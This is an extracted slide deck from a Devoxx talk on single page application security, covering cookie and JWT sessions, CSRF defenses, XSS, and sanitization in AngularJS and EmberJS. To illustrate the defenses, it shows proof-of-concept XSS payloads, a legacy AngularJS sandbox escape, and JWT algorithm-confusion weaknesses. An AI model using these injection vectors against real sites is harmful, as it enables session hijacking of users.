Getting
Single Page Application Security
Right
Philippe De Ryck
iMinds-DistriNet, KU Leuven
#Devoxx #SecureSPA @PhilippeDeRyck
http://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/
http://blogs.adobe.com/conversations/2013/10/important-customer-security-announcement.html
#Devoxx #SecureSPA @PhilippeDeRyck
http://fortune.com/2015/08/24/samsungs-smart-fridge-hacked/
#Devoxx #SecureSPA @PhilippeDeRyck
https://www.flickr.com/photos/jeepersmedia/16091161616/
http://deredactie.be/cm/vrtnieuws/binnenland/1.2163105
http://www.clickx.be/nieuws/134342/telenet-laat-je-surfen-via-de-modem-van-je-buren/
#Devoxx #SecureSPA @PhilippeDeRyck
http://blog.codinghorror.com/welcome-to-the-internet-of-compromised-things/
http://betanews.com/2015/04/20/d-link-says-sorry-for-shoddy-security-and-sloppy-patching-of-its-routers/
#Devoxx #SecureSPA @PhilippeDeRyck
http://motherboard.vice.com/read/ads-on-ebay-and-drudge-report-were-coopted-by-malware-for-three-weeks
http://countermeasures.trendmicro.eu/superfish-and-chips-or-super-phish/
#Devoxx #SecureSPA @PhilippeDeRyck
Web Security in the Modern Age
Users are more vulnerable than ever
Even when they do not do anything wrong
Web applications should go the extra mile for security
Use the tools available to achieve a maximum level of security
Anticipate potential compromises of critical infrastructure
Achieve this goal using state-of-the-art security technologies
New security policies complement traditional Web security tools
#Devoxx #SecureSPA @PhilippeDeRyck
About Me Philippe De Ryck
Postdoctoral Researcher @ DistriNet (KU Leuven)
Focus on (client-side) Web security
Responsible for the Web Security training program
Dissemination of knowledge and research results
Target audiences include industry and researchers
Main author of the Primer on Client-Side Web Security
7 attacker models, broken down in 10 capabilities
13 attacks and their countermeasures
Overview of security best practices
#Devoxx #SecureSPA @PhilippeDeRyck
Traditional Web Applications
Create New Task
Description: POST newItem.php
Cooking
Parse request
Deadline: 25/02/2015
Add to List Store data
Retrieve all data
Overview
Deadline Task
Generate HTML
25/02/2015 Cooking <html>
30/03/2015 B-day party
</html>
Send response
Add New
#Devoxx #SecureSPA @PhilippeDeRyck
Traditional Web Applications
Create New Task
Description: POST newItem.php
Cooking
Parse request
Deadline: 25/02/2015
Add to List Store data
Retrieve all data
Overview
Deadline Task
Generate HTML
25/02/2015 Cooking <html>
30/03/2015 B-day party
</html>
Send response
Add New
#Devoxx #SecureSPA @PhilippeDeRyck
Traditional Web Applications
Create New Task
Description: Cooking
Parse request
Deadline: 25/02/2015
Add to List Store data
Retrieve all data
Overview
Deadline
Deadline Task
Task
Generate HTML
30/03/2015
25/02/2015 B-day party
Cooking
25/02/2015
30/03/2015 Cooking
B-day party Send response
GET sortBy?col=Task
Add New
<table> Sorting API
</table>
#Devoxx #SecureSPA @PhilippeDeRyck
Single Page Applications
Overview
Create New Task
Parse request
Deadline
Deadline Task
Task POST /items/
Description: Cooking
25/02/2015
30/03/2015 Cooking
B-day party
Deadline:
30/03/2015
25/02/2015
25/02/2015
B-day party
Cooking Store data
OK
Add
AddtoNew
List
Send response
#Devoxx #SecureSPA @PhilippeDeRyck
Single Page Application Architecture
Client-Side Static Application
Application
Files Storage Backend
Default Browser
Security Policies API
Client-Enforced
JavaScript APIs
Security Policies
Server-Controlled
Security Policies Static Application
Files Storage Backend
Client-Side Data
Storage API
Client-Enforced
Session Data Security Policies
#Devoxx #SecureSPA @PhilippeDeRyck
Single Page Application Architecture
Client-Side Static Application
Application
Files Storage Backend
Default Browser
Security Policies API
Client-Enforced
JavaScript APIs
Security Policies
Server-Controlled
Security Policies Static Application
Files Storage Backend
Client-Side Data
Storage API
Client-Enforced
Session Data Security Policies
#Devoxx #SecureSPA @PhilippeDeRyck
Single Page Application Architecture
Client-Side Static Application
Application
Files Storage Backend
Default Browser
Security Policies API
Client-Enforced
JavaScript APIs
Security Policies
Server-Controlled
Security Policies Static Application
Files Storage Backend
Client-Side Data
Storage API
Client-Enforced
Session Data Security Policies
#Devoxx #SecureSPA @PhilippeDeRyck
Single Page Application Architecture
Cookie Security flags
Client-Side Static Application
Application
Files
X-Frame-Options Storage Backend
Default Browser
Security Policies API
Content Security Policy
Client-Enforced
JavaScript APIs
Security Policies
Cross-Origin Resource Sharing
Server-Controlled
Security Policies HTTP Strict Transport Security
Static Application
Files Storage Backend
Client-Side Data
Storage HTTP Public Key Pinning
API
Client-Enforced
Subresource Integrity
Session Data Security Policies
#Devoxx #SecureSPA @PhilippeDeRyck
Single Page Application Architecture
Client-Side Static Application
Application
Files Storage Backend
Default Browser
Security Policies API
Client-Enforced
JavaScript APIs
Security Policies
Server-Controlled
Security Policies Static Application
Files Storage Backend
Client-Side Data
Storage API
Client-Enforced
Session Data Security Policies 17
#Devoxx #SecureSPA @PhilippeDeRyck
Web Security has Become Complex
http://arstechnica.com/security/2015/04/no-joke-googles-april-fools-prank-inadvertently-broke-sites-security/
#Devoxx #SecureSPA @PhilippeDeRyck
Web Security has Become Complex
http://arstechnica.com/security/2015/04/match-coms-http-only-login-page-puts-millions-of-passwords-at-risk/
#Devoxx #SecureSPA @PhilippeDeRyck
The Web Security Landscape
20
#Devoxx #SecureSPA @PhilippeDeRyck
Presentation Overview
Session Management
Cross-Site Scripting (XSS)
Content Security Policy (CSP)
Cross-Origin Resource Sharing (CORS)
#Devoxx #SecureSPA @PhilippeDeRyck
Presentation Overview
Session Management
Server-side vs client-side sessions
Cookie-based session management and its vulnerabilities
Token-based session management
Cross-Site Scripting (XSS)
Content Security Policy (CSP)
Cross-Origin Resource Sharing (CORS)
#Devoxx #SecureSPA @PhilippeDeRyck
HTTP and State Management
HTTP is stateless by nature
Multiple requests from the same client are not related to each other
The server has no way to store temporary state
HTTP does support the sending of authentication data
Through the Authorization header
Sends credentials on every request
Server has no control over sessions
#Devoxx #SecureSPA @PhilippeDeRyck
Cookies Make HTTP Stateful
Some-shop.com
Go to some-shop.com
Hello stranger 1
3a99a4d1e8f496
Login as Philippe Logged_in: false
true
Hello Philippe User: Philippe
Show orders Admin: true
List of orders
Go to some-shop.com 2
7ad3e9f78bc808
Hello stranger Logged_in: false
true
Login as NotPhilippe User: NotPhilippe
Hello NotPhilippe Admin: false
Set-Cookie: sessionid=1; Expires=Wed, 09 Jun 2021 10:18:14 GMT;
Domain=some-shop.com; Secure; HttpOnly
Cookie: sessionid=1
#Devoxx #SecureSPA @PhilippeDeRyck
But Isnt REST Stateless?
Client-Side Static Application
Application
Files Storage Backend
Default Browser
Security Policies API
Client-Enforced
JavaScript APIs
Security Policies
Server-Controlled
Security Policies Static Application
Files Storage Backend
Client-Side Data
Storage API
Client-Enforced
Session Data Security Policies
#Devoxx #SecureSPA @PhilippeDeRyck
Server-Side vs Client-Side Sessions
Server-side sessions
Results in a stateful API
Gives the server full control over the session
Track active sessions, invalidate expired sessions
Client-side sessions
Stateless API pushes all session information to the client
Server has no control over active sessions
Session data is transmitted with every request
#Devoxx #SecureSPA @PhilippeDeRyck
Client-Side Sessions with Cookies
Some-shop.com
Go to some-shop.com
Hello stranger
false
Logged_in: true Login as Philippe Logged_in: false
true
User: Philippe Hello Philippe User: Philippe
Admin: true Show orders Admin: true
List of orders
Go to some-shop.com
Logged_in: false
true Hello stranger Logged_in: false
true
User: NotPhilippe Login as NotPhilippe User: NotPhilippe
Admin: false Hello NotPhilippe Admin: false
Very similar to server-side sessions if(!req.session.Admin) {
// throw error
Data is simply stored in a different place }
else {
Transparent to the application // Do admin stuff
}
#Devoxx #SecureSPA @PhilippeDeRyck
Client-Side Sessions with Cookies
Client-side sessions hold the actual data instead of an ID
Big change in the security properties of the session data
Server-side sessions depend on the unguessability of the ID
Client-side sessions depend on the integrity of the data
#Devoxx #SecureSPA @PhilippeDeRyck
Handling Cookie-Based Sessions
How do you support cookie-based sessions in an SPA?
By running it in a browser
Cookies are supported by all major browsers
The browser stores incoming cookies per domain in a cookie jar
It will automatically attach cookies for a domain to outgoing requests
Main reason why cookies are still so popular today
Also the main reason that Cross-Site Request Forgery exists
#Devoxx #SecureSPA @PhilippeDeRyck
Cross-Site Request Forgery
Login as Philippe
Hello Philippe
Show orders
List of orders
some-shop.com
Change email address
Sure thing, Philippe
Show latest blog post
Latest blog post
hackedblog.com
The server is confused about the intentions of the user
Malicious sites trigger unintended requests from the users browser
Browser happily attaches the cookies, which contain session info
Well-known attack, but requires explicit action to prevent
#Devoxx #SecureSPA @PhilippeDeRyck
CSRF in the Wild
http://news.softpedia.com/news/CSRF-Vulnerability-in-eBay-Allows-Hackers-to-Hijack-User-Accounts-Video-383316.shtml
#Devoxx #SecureSPA @PhilippeDeRyck
CSRF in the Wild
https://threatpost.com/pharming-attack-targets-home-router-dns-settings/111326
http://arstechnica.com/security/2014/03/hackers-hijack-300000-plus-wireless-routers-make-malicious-changes/
#Devoxx #SecureSPA @PhilippeDeRyck
CSRF Defense 1: HTML Tokens
Hide token in the HTML page and check on submission
Same-Origin Policy prevents other contexts from getting the token
Account details page
Account details
t Change email address
Sure thing, Philippe
t some-shop.com
Change email address
CSRF token sadness L TOKEN-BASED APPROACH
Show latest blog post <form action=submit.php>
Latest blog post
hackedblog.com <input type=hidden
name=token
value=qasfj8j12ads />
</form>
#Devoxx #SecureSPA @PhilippeDeRyck
CSRF Defense 2: Origin Header
Check the origin header sent by the browser
Automatically added to state-changing requests (POST/PUT/DELETE)
Change email address
Origin: http://some-shop.com
Sure thing, Philippe
some-shop.com
Change email address
Origin: http://hackedblog.com
Stranger danger! L
Show latest blog post
Latest blog post
hackedblog.com
#Devoxx #SecureSPA @PhilippeDeRyck
CSRF Defense 3: Transparent Tokens
Compare a cookie value against a header value
Browsers cookie policies prevent illegitimate access
First request
Set-Cookie: session=
Set-Cookie: CSRF-Token=123
Cookie: session= some-shop.com
Cookie: CSRF-Token=123
X-CSRF-Token: 123
Only the JS code on the page can
copy cookie value into header
#Devoxx #SecureSPA @PhilippeDeRyck
CSRF Defense 3: Transparent Tokens
Well-suited CSRF defense for stateless APIs
Supported by numerous libraries for various frameworks
TRANSPARENT TOKENS
var csrf = require('csurf');
app.use(csrf());
app.use("/", function(req, res, next) {
res.cookie('XSRF-TOKEN', req.csrfToken());
next();
});
TRANSPARENT TOKENS
Enabled by default for XSRF-TOKEN
#Devoxx #SecureSPA @PhilippeDeRyck
CSRF Defense 3: Transparent Tokens
Well-suited CSRF defense for stateless APIs
Supported by numerous libraries for various frameworks
EMBERJS INITIALIZER
export default {
name: "CSRFProtection",
initialize() {
window.$.ajaxPrefilter(
function(options, originalOptions, xhr) {
if ( ! options.crossDomain ) {
var token = /XSRF-TOKEN=([^;]+)/.exec(document.cookie);
if(token) {
xhr.setRequestHeader('X-CSRF-Token', token[1]);
}
}
})}};
#Devoxx #SecureSPA @PhilippeDeRyck
Cookies Are Only a Means of Transport
Data is being sent back and forth between client and server
Cookies are often used, because every browser supports them
Cookie management is difficult outside of browsers
Cookies suffer from CSRF attacks
Token-based session management is becoming popular
Session data stored in a token, which is sent to the server
Can be a custom header, a query parameter, a form field,
Requires explicit handling by the client-side application
#Devoxx #SecureSPA @PhilippeDeRyck
Tokens as an Alternative to Cookies
Login as Philippe
Hello Philippe
Show orders
List of orders
some-shop.com
Change email address
Dude, wheres your token?
Show latest blog post
Latest blog post
hackedblog.com
Tokens are sent to the client
In an HTTP header or in the body of the response
The client-side application attaches them to outgoing requests
Not vulnerable to CSRF, because theyre not automatically attached
#Devoxx #SecureSPA @PhilippeDeRyck
http://jwt.io/
#Devoxx #SecureSPA @PhilippeDeRyck
JSON Web Token
A JWT just looks like a blob of data
Contains three sections of base64-encoded data
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkaXN0cmluZXQuY3Mua3VsZXV2Z
W4uYmUiLCJleHAiOjI0MjUwNzgwMDAwMDAsIm5hbWUiOiJwaGlsaXBwZSIsImFkbWluIjp0cnV
lfQ.dIi1OguZ7K3ADFnPOsmX2nEpF2Asq89g7GTuyQuN3so
{
HMACSHA256(
"iss": distrinet.cs
{ base64UrlEncode(header)
.kuleuven.be",
"alg": "HS256", + "." +
"exp": 1425078000000,
"typ": "JWT" base64UrlEncode(payload),
"name": "philippe",
} secret
"admin": true
)
}
Header Payload Signature
#Devoxx #SecureSPA @PhilippeDeRyck
JSON Web Token
The standardized way to exchange session data
Part of a JSON-based Identity Protocol Suite
Together with specs for encryption, signatures and key exchange
Used by OpenID Connect, on top of OAuth 2.0
Requires explicit handling by the client-side application
Difficult in traditional HTML Web applications
Easy with modern client-side JavaScript frameworks
#Devoxx #SecureSPA @PhilippeDeRyck
Client-Side Sessions with JWT
HANDLING JWT TOKENS
function TokenService($rootScope, $localStorage) {
var service = this;
service.request = function(config) {
if($localStorage.authorizationToken) {
console.log("Setting the authorization token");
config.headers.authorization = $localStorage.authorizationToken;
}
return config;
};
service.response = function(response) {
var token = response.headers("Authorization");
if(token) {
console.log("Storing the authorization token");
$localStorage.authorizationToken = "Bearer " + token;
}
return response;
}
}
#Devoxx #SecureSPA @PhilippeDeRyck
JWT In Practice
JWT are base64-encoded JSON objects
By default, no confidentiality, so careful with sensitive data
Integrity is built in through the signature
Widely supported, with libraries for almost every language
Well suited to exchange identity information between microservices
JWT has gotten a bad reputation lately
#Devoxx #SecureSPA @PhilippeDeRyck
JWT Implementation Vulnerabilities
Implementation problems in the libraries
Not a systemic security failure, merely a hickup
Quickly patched in official libraries
Problem 1: the none algorithm was widely supported
Client controls the contents of the JWT
Allows the attacker to create a valid but unsigned token
Fixed by preventing none if the server is using a signing key
#Devoxx #SecureSPA @PhilippeDeRyck
JWT Implementation Vulnerabilities
Implementation problems in the libraries
Not a systemic security failure, merely a hickup
Quickly patched in official libraries
Problem 2: Confusion between HMAC and public key crypto
Both are valid signing mechanisms for JWT
Attacker abuses a mismatch in server config and token algorithm
Causes an HMAC token to be verified with the servers public key
Fixed by depending on config instead of algorithm
#Devoxx #SecureSPA @PhilippeDeRyck
Wrapping Up Session Management
Session management is a critical component
Security is very important, but often overlooked
Illustrated by the OWASP top 10
Server-side sessions and client-side sessions are different
Server-side sessions rely on the secrecy of the session ID
Client-side sessions rely on the secrecy and the integrity of the data
#Devoxx #SecureSPA @PhilippeDeRyck
Best Practices
Deploy your application over HTTPS to ensure secrecy
Make sure your HTTPS deployment is at least A grade
Aim for a 100% HTTPS deployment, and enable HSTS
Verify the integrity and validity of client-side session data
Make sure you also set and check expiration dates
Specifically for cookie-based session management
Configure cookies to use the Secure and HttpOnly flag
Make sure you have CSRF defenses in place
#Devoxx #SecureSPA @PhilippeDeRyck
Presentation Overview
Session Management
Server-side vs client-side sessions
Cookie-based session management and its vulnerabilities
Token-based session management
Cross-Site Scripting (XSS)
Content Security Policy (CSP)
Cross-Origin Resource Sharing (CORS)
#Devoxx #SecureSPA @PhilippeDeRyck
Presentation Overview
Session Management
Cross-Site Scripting (XSS)
XSS and its consequences
Traditional XSS defenses
XSS defenses in Single Page Applications
Content Security Policy (CSP)
Cross-Origin Resource Sharing (CORS)
#Devoxx #SecureSPA @PhilippeDeRyck
XSS Illustrated
<html><body> </body></html>
Show Reviews
Reviews page
reviews
Add review
Thanks for the review!
I can really recommend product X. It is awesome!
<script>alert(Never gonna let you down!)</script>
#Devoxx #SecureSPA @PhilippeDeRyck
The Consequences of XSS Are Severe
#Devoxx #SecureSPA @PhilippeDeRyck
Apache.org Compromise
1. Report bug with obscured URL
2. Admin opens link,
containing reflected XSS attack
compromising their session
http://tinyurl.com/XXXXXXX
4. Attacker changes upload
3. Attacker disable notifications
path to location that can
for a hosted project
execute JSP files
6. Attacker browses and copies
5. Attacker added new bug filesystem through JSP. Installs
reports with JSP attachments backdoor JSP with webserver
privileges
http://blogs.apache.org/infra/entry/apache_org_04_09_2010
#Devoxx #SecureSPA @PhilippeDeRyck
Apache.org Compromise
7. Attacker installs JAR to
collect passwords on login
8. Triggered logins by sending 9. One of the passwords
out password reset mails matched an SSH account with
full sudo access
10. The accessible machine 11. From the subversion
had user home folders, with machine, privilege escalation
cached subversion credentials was unsuccessful
http://blogs.apache.org/infra/entry/apache_org_04_09_2010
#Devoxx #SecureSPA @PhilippeDeRyck
What Is XSS Exactly?
XSS leads to the execution of attacker-controlled code in the
context of the vulnerable application in the victims browser
The payload of an XSS attack is provided by the attacker
Malicious code, that can load additional code files if desired
The victims browser parsing the payload triggers the attack
The browser will trigger the execution of the attackers code
The malicious code runs within the applications context
The attackers code has the same privileges as the application code
#Devoxx #SecureSPA @PhilippeDeRyck
Stored XSS
<html><body> </body></html>
Show Reviews
Reviews page
reviews
Add review
Thanks for the review!
I can really recommend product X. It is awesome!
<script>alert(Never gonna let you down!)</script>
#Devoxx #SecureSPA @PhilippeDeRyck
Reflected XSS
<html><body><h1> </h1><p> </p></body></html>
Show Product (id=1, name= )
Product page
products
Hey, checkout product X. It is awesome!
<a href=http://some-shop.org/product.php?id=1&name=
<script>alert(Never gonna let you down!)</script>
#Devoxx #SecureSPA @PhilippeDeRyck
DOM-Based XSS
permalink.innerHTML = '<a href="' + <html><body><p>
window.location.hash.split('#')[1] +
'.php">Link to product</a>; </p></body></html>
Get page with all products
Product page
products
Hey, checkout product X. It is awesome!
<a href=http://some-shop.org/allproducts.php#1
><script>alert(Never gonna let you down!)</script>
#Devoxx #SecureSPA @PhilippeDeRyck
Traditional XSS Defenses
Secure coding practices
Do not rely on simple filters (e.g. removing <, >, &, , )
Use context-sensitive output encoding
HTML body <h1>DATA</h1>
HTML attributes <div id=DATA>
Stylesheet context body { background-color: DATA; }
Script context alert(DATA);
URL context <a href=http://example.com?arg=DATA>
#Devoxx #SecureSPA @PhilippeDeRyck
But Preventing XSS Seems Hard
https://www.xssposed.org/incidents/top/
#Devoxx #SecureSPA @PhilippeDeRyck
Can JS MVC Frameworks Help?
Create New Task
Description: Cooking
Parse request
Deadline: 25/02/2015
Add to List Store data
Retrieve all data
Overview
Deadline
Deadline Task
Task
Generate HTML
30/03/2015
25/02/2015 B-day party
Cooking
25/02/2015
30/03/2015 Cooking
B-day party Send response
GET /tasks?sortBy=name
Add New
Sorting API
[{},{}]
#Devoxx #SecureSPA @PhilippeDeRyck
Server-Side Template Composition
JavaScript MVC frameworks change how the DOM works
Extensions through elements, attributes, etc.
New interfaces
Often in combination with templating
EXTENDING THE DOM
<graph class="visitor-graph">
<axis position="left"></axis>
<axis position="bottom"></axis>
<line name="typical-week" line-data="model.series.typicalWeek"></line>
<line name="this-week" line-data="model.series.thisWeek"></line>
<line name="last-week" line-data="model.series.lastWeek"></line>
</graph>
#Devoxx #SecureSPA @PhilippeDeRyck
Server-Side Template Composition
Traditional Web applications are based on HTML pages
They often integrate a JS MVC framework to improve the UI
E.g. Embedding AngularJS in dynamically constructed JSP pages
Server applies context-aware XSS protection
KNOCKOUT.JS EXAMPLE
<script src=knockout-2.3.0.js"></script>
<div data-bind="x:alert(1)" />
<script>
ko.applyBindings();
</script>
#Devoxx #SecureSPA @PhilippeDeRyck
Mustache Security
https://code.google.com/p/mustache-security/
#Devoxx #SecureSPA @PhilippeDeRyck
Mustache Security
Project dedicated to JS MVC security pitfalls
Assuming there is an injection vector
Assuming there is conventional XSS filtering in place
What can an attacker do?
New behavior often breaks existing security assumptions
Bypass currently used security mechanisms
Script injection possible whenever a data attribute is allowed
https://code.google.com/p/mustache-security/
#Devoxx #SecureSPA @PhilippeDeRyck
Mustache Security Examples
KENDOUI EXAMPLE
<script src=jquery-1.7.1.min.js"></script>
<script src=kendo.all.min.js"></script>
<div id="x"># alert(1) #</div>
<script>
var template = kendo.template($("#x").html());
var tasks = [{ id: 1}];
var dataSource = new kendo.data.DataSource({ data: tasks });
dataSource.bind("change", function(e) {
var html = kendo.render(template, this.view());
});
dataSource.read();
</script>
https://code.google.com/p/mustache-security/
#Devoxx #SecureSPA @PhilippeDeRyck
Mustache Security Examples
ANGULARJS EXAMPLE (< 1.2)
<script src=angular1.1.5.min.js"></script>
<div class="ng-app">
{{constructor.constructor('alert(1)')()}}
</div>
https://code.google.com/p/mustache-security/
#Devoxx #SecureSPA @PhilippeDeRyck
Separating Front End and Back End
Beware of server-side composition of templates
Generally a bad idea, because of dynamic behavior
If you must do this, AngularJS 1.2+ enforces quite a good sandbox
Separating the front end from the back end
Server provides client-side application as static files
Server offers data through a well-designed API
Client-side application contains the dynamic behavior
#Devoxx #SecureSPA @PhilippeDeRyck
Single Page Applications
Overview
Create New Task
Parse request
Deadline
Deadline Task
Task POST /items/
Description: Cooking
25/02/2015
30/03/2015 Cooking
B-day party
Deadline:
30/03/2015
25/02/2015
25/02/2015
B-day party
Cooking Store data
OK
Add
AddtoNew
List
Send response
#Devoxx #SecureSPA @PhilippeDeRyck
Single Page Applications
Run on a client-side JavaScript MVC framework
Backed by a data-driven REST API
Back end has no context knowledge
So can also not provide useful input filtering and output encoding
Client-side application will have to take care of this
So how does this work in AngularJS?
#Devoxx #SecureSPA @PhilippeDeRyck
Example Case User-Provided Images
ANGULARJS TEMPLATE
<textarea ng-model=x></textarea>
<div>{{x}}</div>
USER INPUT
<img src=http://some-shop.com/coolcar.png" />
RENDERED HTML
<img src=http://some-shop.com/coolcar.png" />
#Devoxx #SecureSPA @PhilippeDeRyck
Example Case User-Provided Images
ANGULARJS TEMPLATE
<textarea ng-model=x></textarea>
<div ng-bind=x></div>
USER INPUT
<img src=http://some-shop.com/coolcar.png" />
RENDERED HTML
<img src=http://some-shop.com/coolcar.png" />
#Devoxx #SecureSPA @PhilippeDeRyck
Example Case User-Provided Images
ANGULARJS TEMPLATE
<textarea ng-model=x></textarea>
<div ng-bind-html=x></div>
USER INPUT
<img src=http://some-shop.com/coolcar.png" />
RENDERED HTML
Error: [$sce:unsafe] Attempting to use
an unsafe value in a safe context.
#Devoxx #SecureSPA @PhilippeDeRyck
Dammit
#Devoxx #SecureSPA @PhilippeDeRyck
Check Documentation
#Devoxx #SecureSPA @PhilippeDeRyck
Go to StackOverflow
#Devoxx #SecureSPA @PhilippeDeRyck
And you Find This Little Gem
http://stackoverflow.com/questions/9381926/angularjs-insert-html-into-view
#Devoxx #SecureSPA @PhilippeDeRyck
Example Case User-Provided Images
ANGULARJS TEMPLATE
<textarea ng-model=x></textarea>
<div ng-bind-html=x | sanitize></div>
USER INPUT
<img src=http://some-shop.com/coolcar.png" />
RENDERED HTML
#Devoxx #SecureSPA @PhilippeDeRyck
#Devoxx #SecureSPA @PhilippeDeRyck
Example Case User-Provided Images
ANGULARJS TEMPLATE
<textarea ng-model=x></textarea>
<div ng-bind-html=x | sanitize></div>
USER INPUT
<img src=http://some-shop.com/coolcar.png"
onerror=alert(1) />
RENDERED HTML
#Devoxx #SecureSPA @PhilippeDeRyck
How Did That Happen?
#Devoxx #SecureSPA @PhilippeDeRyck
Strict Contextual Escaping
AngularJS tries to protect you from injection attacks
Let it, its really good at it!
ng-bind will never produce HTML
ANGULARJS TEMPLATE
<textarea ng-model=x></textarea>
<div ng-bind=x"></div>
GENERATED HTML
<div ng-bind=x">
<img src=http://some-shop.com/coolcar.png"
onerror=alert(1) />
</div>
#Devoxx #SecureSPA @PhilippeDeRyck
Strict Contextual Escaping
AngularJS tries to protect you from injection attacks
Let it, its really good at it!
ng-bind-html can produce HTML, but not without protection
ANGULARJS TEMPLATE
<textarea ng-model=x></textarea>
<div ng-bind-html=x"></div>
GENERATED HTML
Error: [$sce:unsafe] Attempting to use
an unsafe value in a safe context.
#Devoxx #SecureSPA @PhilippeDeRyck
Strict Contextual Escaping
AngularJS tries to protect you from injection attacks
Let it, its really good at it!
ng-bind-html can produce HTML, but not without protection
Enable automatic sanitization with ngSanitize
Removes dangerous features from content
#Devoxx #SecureSPA @PhilippeDeRyck
Example Case User-Provided Images
ANGULARJS TEMPLATE
<textarea ng-model=x></textarea>
<div ng-bind-html=x></div>
ANGULARJS CODE
angular.module(test, [ngSanitize])
USER INPUT
<img src=http://some-shop.com/coolcar.png"
onerror=alert(1) />
RENDERED HTML
<img src=http://some-car.png" />
#Devoxx #SecureSPA @PhilippeDeRyck
Strict Contextual Escaping
AngularJS tries to protect you from injection attacks
Let it, its really good at it!
ng-bind-html can produce HTML, but not without protection
Enable automatic sanitization with ngSanitize
Removes dangerous features from content
If you really really want raw trusted HTML
$sce.trustAsHtml() marks a string as trusted, disabling sanitization
#Devoxx #SecureSPA @PhilippeDeRyck
Strict Contextual Escaping - trustAsHtml
http://stackoverflow.com/questions/9381926/angularjs-insert-html-into-view
#Devoxx #SecureSPA @PhilippeDeRyck
Strict Contextual Escaping - trustAsHtml
ANGULARJS TEMPLATE
<textarea ng-model=x></textarea>
<div ng-bind-html=x | i_really_know_my_security"></div>
ANGULARJS CODE
angular.module(test,[])
.filter("i_really_know_my_security",
['$sce', function($sce) {
return function(htmlCode){
return $sce.trustAsHtml(htmlCode);
}
}]);
#Devoxx #SecureSPA @PhilippeDeRyck
And We Can Do The Same for EmberJS
EMBERJS TEMPLATE
{{input type=text value=x}}
<div>{{x}}</div>
USER INPUT
<img src=http://some-shop.com/coolcar.png" />
RENDERED HTML
<img src=http://some-shop.com/coolcar.png" />
#Devoxx #SecureSPA @PhilippeDeRyck
And We Can Do The Same for EmberJS
http://stackoverflow.com/questions/11450602/show-property-which-includes-html-tags
#Devoxx #SecureSPA @PhilippeDeRyck
And We Can Do The Same for EmberJS
EMBERJS TEMPLATE
{{input type=text value=x}}
<div>{{{x}}}</div>
USER INPUT
<img src=http://some-shop.com/coolcar.png" />
RENDERED HTML
#Devoxx #SecureSPA @PhilippeDeRyck
And We Can Do The Same for EmberJS
EMBERJS TEMPLATE
{{input type=text value=x}}
<div>{{{x}}}</div>
USER INPUT
<img src=http://some-shop.com/coolcar.png"
onerror=alert(1)/>
RENDERED HTML
#Devoxx #SecureSPA @PhilippeDeRyck
And We Can Do The Same for EmberJS
EMBERJS TEMPLATE & CONTROLLER
{{input type=text value=x}}
<div>{{y}}</div>
y: function() { return Ember.String.htmlSafe(this.get(x")); }.property(x")
USER INPUT
<img src=http://some-shop.com/coolcar.png"
onerror=alert(1)/>
RENDERED HTML
#Devoxx #SecureSPA @PhilippeDeRyck
EmberJS Does Not Offer Sanitization
By default, it only has an all or nothing approach
By using an external library, we can easily add sanitization
DOMPurify is fast and reliable
EMBERJS TEMPLATE
{{input type=text value=x}}
<div>{{sanitize-purify x}}</div>
EMBERJS SANITIZE HELPER
import Ember from 'ember';
import sanitizer from "../utils/dompurify";
export function sanitizePurify(params/*, hash*/) {
var text = params[0];
return Ember.String.htmlSafe(sanitizer.sanitize(text || ""))
}
export default Ember.Helper.helper(sanitizePurify);
#Devoxx #SecureSPA @PhilippeDeRyck
Data Binding Best Practices
You should always use the default binding mechanism
This will produce safe output, depending on the context
The framework is really good at this, so let it do its job
If you need a safe set of HTML tags in the output
Use sanitization, either within the framework or from a library
Do not try to write this yourself
Use the trusted HTML features for static code only
#Devoxx #SecureSPA @PhilippeDeRyck
Presentation Overview
Session Management
Cross-Site Scripting (XSS)
XSS and its consequences
Traditional XSS defenses
XSS defenses in Single Page Applications
Content Security Policy (CSP)
Cross-Origin Resource Sharing (CORS)
#Devoxx #SecureSPA @PhilippeDeRyck
Progressive Web Security
4 days of hands-on training on modern Web security topics
1. Why simply deploying HTTPS will not get you an A+ grade
2. How to avoid common pitfalls in authentication and authorization on the Web
3. Why modern security technologies will eradicate XSS
4. Four new browser communication mechanisms, and how they affect your app
Starting on November 19, one session each week
https://goo.gl/17hVTa
#Devoxx #SecureSPA @PhilippeDeRyck
Presentation Overview
Session Management
Cross-Site Scripting (XSS)
Content Security Policy (CSP)
What can CSP do for you?
What do you need to do for CSP?
How does CSP cooperate with JS MVC frameworks?
Cross-Origin Resource Sharing (CORS)
#Devoxx #SecureSPA @PhilippeDeRyck
EmberJS Developers already Know CSP
